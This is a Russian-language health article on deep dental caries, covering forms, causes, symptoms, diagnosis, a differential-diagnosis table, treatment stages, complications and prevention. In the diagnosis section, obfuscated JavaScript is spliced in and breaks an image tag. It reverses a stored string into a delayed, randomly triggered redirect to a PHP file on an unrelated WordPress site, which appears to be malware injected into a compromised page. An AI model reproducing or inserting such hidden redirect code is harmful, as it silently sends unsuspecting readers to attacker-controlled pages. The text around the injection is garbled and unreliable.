Глубокий кариес — серьёзное заболевание полости рта. Эта разновидность патологии является последней стадией поражения зубных слоёв, при которой происходит разрушение эмали и дентина. А при несоблюдении элементарных правил личной гигиены и отсутствии лечения воспалительный процесс способен дойти и до пульпы. Для предотвращения последствий следует знать о причинах, способах лечения и мерах профилактики данной болезни.
Содержание
Что такое глубокий кариес
При поверхностном кариесе повреждается только эмаль зуба, тогда как при глубоком патологический процесс доходит до дентина, а иногда может затронуть и корневой канал.
По течению патологического процесса выделяют:
- острый кариес — развивается быстро, болевые ощущения проявляются при термическом или химическом воздействии, полость раневого канала небольшая, входное отверстие маленькое и покрыто тонким слоем эмали. Основание данной полости, как правило, широкое и рыхлое по своей текстуре. Формируется в тех случаях, когда зубы уже были ослаблены;
- хронический — протекает длительно, так как зуб способен противостоять разрушительному процессу. Болезненность выражена неярко, отверстие кариозного канала широкое, и через него без проблем можно прозондировать дно полости.
Особенности патологии у детей
Имеется ряд отличий глубокого кариеса у детей:
- заболевание развивается стремительно;
- болеют дети чаще 3–5 лет;
- процесс протекает в основном поверхностно, не захватывает глубокие слои;
- поражаются молочные зубы, в частности моляры.
Причины возникновения заболевания
В зависимости от причины образования различают кариес первичный и вторичный.
- Первичный — формируется в результате нелеченого среднего или поверхностного кариеса. Провоцирующими факторами в данном случае являются:
- изменения состава слюны;
- наличие остатков пищи после еды;
- аномалии прикуса;
- появление зубного камня (остатки солей кальция).
- Вторичный — протекает в ранее пломбированном зубе из-за несоблюдения гигиены полости рта или из-за использования некачественных материалов при лечении. Кроме того, на развитие патологического процесса влияют генетическая предрасположенность и наличие заболеваний иммунной системы.
Но в любом из этих случаев механизм развития болезни идентичен. Скопившиеся углеводы после еды начинают распадаться, в результате чего во рту образуются кислоты, которые и вызывают повреждение эмали. Образованная молочная кислота со временем проходит в более глубокие слои зуба, формируя канальца и полости. В итоге содержащийся в дентине кальций начинает выходить наружу, истончая и разрушая ткани.
В процессе брожения участвуют кариесогенные бактерии, которые обитают на фиссурах, под дёснами и в межзубных промежутках.
На развитие заболевания влияют гормональные и минеральные нарушения в организме, неполноценное строение зубных слоёв, хлорированная вода, авитаминоз, особенно в детском возрасте.
Почему разрушаются зубы — видео
Симптомы
Главным проявлением глубокого кариеса являются сильные болевые ощущения. Боль носит постоянный характер и появляется только при воздействии температурного (холодная или горячая пища и питьё) или механического раздражителя (попадание еды или надавливание челюстью при жевании).
При обширном кариесе и множестве кариозных полостей может наблюдаться неприятный запах изо рта пациента.
При образовании глубокого кариеса в уже пролеченном зубе процесс разрушения дентина способен идти годами и симптоматически себя никак не проявлять. Только со временем, когда патология достигнет эмалево-дентиновой границы, человек может почувствовать дискомфорт при надавливании на больной зуб. В таких случаях наложенная пломба нередко откалывается, проваливается или истончается в месте очага воспаления.
Обращайте внимание на белые пятна на эмали ваших зубов. Это первые признаки начинающегося кариеса. На этом этапе есть возможность предупредить разрушение эмали и не допустить дальнейшего прогрессирования заболевания.
Диагностика
При постановке диагноза и проведении дифференциальной диагностики заболевания врач учитывает жалобы больного, анамнез (сведения об истории болезни и условиях жизни пациента), данные обследования.
На момент осмотра стоматолог обращает внимание на повреждения коронковой части зуба, неэстетическую картину зубных рядов и болезненные ощущения при нажатии на повреждённые места:
- При острой форме боль ярко выраженная, кариозный канал узкий, зондирование полости затруднено, само же отверстие заполнено светлым и мягким дентином.
- При хроническом течении кариозное отверстие большое, цвет дентина варьируется от светло-коричневого до чёрного. Механическое воздействие не приносит болезненных ощущений.
При термодиагностике повреждённый зуб орошают холодной или тёплой водой (примерно 60°C) и по болевым ощущениям определяют степень кариозного повреждения. Обычно данные метод используют лишь как вспомогательный.
Если болевые ощущения исчезли сразу после орошения, то это свидетельствует о наличии кариеса. Если болезненность сохраняется на протяжении долгого времени, то можно говорить о таком серьёзном заболевании, как пульпит.
Для инструментальной диагностики используют:
- электроодонтодиагностику (ЭОД) — определяют чувствительность пульпы к току силой от 2 до 6 мкА (в тяжёлых случаях наблюдается снижение чувствительности пульпы до 11–13мкА);
- рентгенологическое исследование, или рентген — применяют при острой форме, когда ширина кариозного канала слишком мала и нельзя установить степень повреждения под эмалью;
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2016/08/glubokiy-karies-3.jpg» alt=»Глубокий кариес на рентгеновском снимке» width=»550″ height=»463″ /> Рентген позволяет определить степень повреждения при острой форме кариеса
- радиовизиографию — используют вместо рентгена, так как лучевая нагрузка меньше в 15–20 раз.
Дифференциальная диагностика — таблица
| Признак | Глубокий кариес | Острый пульпит | Хронический пульпит | Периодонтит |
| Боль в анамнезе | — | + | + | + |
| Боль от холодного или горячего | + | + | +/- | — |
| Боль при зондировании зуба | + | ++ | +/- | — |
| Болезненность при надавливании | — | — | +/- | + |
| Подвижность зуба | — | +/- | + | + |
| Распространение боли | — | — | +/- | +/- |
| Припухлость десны | -/+ | + | ++ | +++ |
Этапы лечения
Схема лечения глубокого кариеса состоит из 5 этапов:
- Анестезирование — производят местным анестетиком лидокаинового ряда (ультракаин).
Внимание! Не забывайте предупреждать доктора, если у вас имеется аллергия на лекарства данной группы.
- Препарирование и обработка повреждённого зуба — удаление кариозных остатков дентина и пищи.
- Использование лекарственной прокладки — на дно кариозной полости накладывают лекарственную прокладку, пропитанную кальцием, который обладает выраженным бактерицидным действием и предупреждает дальнейшее развитие заболевания.
- Постановка пломбы — в зависимости от глубины повреждения дентина ставится постоянная или временная пломба.
Если кариозная полость достигает пульпы, то прокладку накладывают повторно и лечение растягивается на 2 визита. Таким образом, после первого приёма ставится временная пломба, если в течение недели боль не появилась, то в следующий раз используется уже постоянная пломба.
- Шлифовка — проводится как заключительный этап и профилактика образования трещин и сколов на поставленной пломбе.
Как лечить глубокий кариес — видео
Возможные осложнения после лечения
В ходе лечения глубокого кариеса нередко возникают следующие осложнения:
- пульпит — развивается при несвоевременной терапии, когда патологический процесс достигает пульпы, требует более серьёзного вмешательства;
- отлом коронки зуба — наблюдается в том случае, когда зубные слои сильно истончены и кариес разрушил 80–90% коронки;
- повторный кариес — возникает между зубом и поставленной пломбой в результате халатности доктора;
- сохраняющаяся послеоперационная чувствительность — случается из-за пересушивания дентина;
- выпадение пломбы — происходит из-за нарушения техники постановки пломбы;
- воспаление пульпы — является результатом перегрева дентина в процессе установки прокладки;
- периодонтит — образуется из-за попадания патогенных микроорганизмов в оболочку корня зуба в ходе неквалифицированной работы стоматолога.
Профилактические меры
Профилактика повторного возникновения кариеса заключается в:
- соблюдении правил гигиены полости рта (регулярное использование зубной пасты, нити, щётки, полоскание и употребление жевательной резинки без сахара);
- покрытии зубов фторлаком (один раз в год);
- проведении профессиональной чистки зубов (один раз в 1,5–2 года).
Высокоуглеводные перекусы в виде шоколадок, булочек, чипсов также негативно влияют на состояние полости рта.
Глубокий кариес — последняя стадия заболевания, на этом этапе необходимо немедленно обратиться к врачу и начать лечение. Своевременно оказанная помощь поможет сохранить зуб и предотвратить серьёзные осложнения.
